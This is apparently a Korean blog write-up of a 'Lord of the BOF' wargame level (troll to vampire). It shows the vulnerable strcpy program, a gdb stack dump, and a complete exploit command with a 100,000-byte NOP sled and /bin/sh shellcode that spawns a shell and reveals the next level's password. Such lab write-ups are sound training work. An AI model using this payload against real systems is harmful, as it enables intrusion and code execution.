728x90
troll / aspirin
/*
The Lord of the BOF : The Fellowship of the BOF
- vampire
- check 0xbfff
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// here is changed!
if(argv[1][46] == '\xff')
{
printf("but it's not forever\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
argv[1][46]은 \xff가 아니어야한다. retn 주소로 쓰이는 부분인데 지금까진 늘 retn 주소가 0xbfff~ 형식이었다. 이를 벗어나기 위해선 매우 큰 인자를 argv[1]에 전달하면 된다.
vampire을 복사해서 복사한 파일을 대상으로 gdb를 실행한다.
0x80484af <main+127>: push %edx
0x80484b0 <main+128>: lea %eax,[%ebp-40]
0x80484b3 <main+131>: push %eax
0x80484b4 <main+132>: call 0x8048370 <strcpy>
strcpy의 인자로 ebp-40이 들어가는걸 보니 buffer 주소다.
40bytes(buffer)+4bytes(sfp)를 A로 채울 것이다. 그리고 retn주소는 임의로 0xbfbfbfbf로 설정하고 \x90을 100000개 전달하였다. 스택은 인자의 길이에 따라 유동적으로 변하기에 긴 문자열을 전달하여 0xbfff를 벗어날 수 있다. strcpy를 수행하고나서 스택의 주소를 파악하였다.
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
Starting program: /home/troll/VAMPIRE `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
Breakpoint 1, 0x8048436 in main ()
(gdb) c
Continuing.
Breakpoint 2, 0x80484b4 in main ()
(gdb) ni
0x80484b9 in main ()
(gdb) x/200x $ebp
0xbffe7428: 0x41414141 0xbfbfbfbf 0x90909090 0x90909090
0xbffe7438: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7448: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7458: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7468: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7478: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7488: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7498: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe74a8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe74b8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe74c8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe74d8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe74e8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe74f8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7508: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7518: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7528: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7538: 0x90909090 0x90909090 0x90909090 0x90909090
100000개의 \x90 밑에 쉘 코드가 있을 것이다. retn 주소를 0xbffe74f8로 정하였다.
[troll@localhost troll]$ ./vampire `python -c 'print "A"*44+"\xf8\x74\xfe\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1h//shh/bin⏓°
̀
bash$ my-pass
euid = 509
music world
vampire 실행파일을 대상으로 실행하니 vampire 비밀번호가 나온다.
728x90
'Lord of Buffer Overflow' 카테고리의 다른 글
skeleton -> golem (0) | 2023.01.25 |
---|---|
vampire -> skeleton (0) | 2023.01.24 |
orge -> troll (0) | 2023.01.23 |
darkelf -> orge (0) | 2023.01.21 |
wolfman -> darkelf (0) | 2023.01.21 |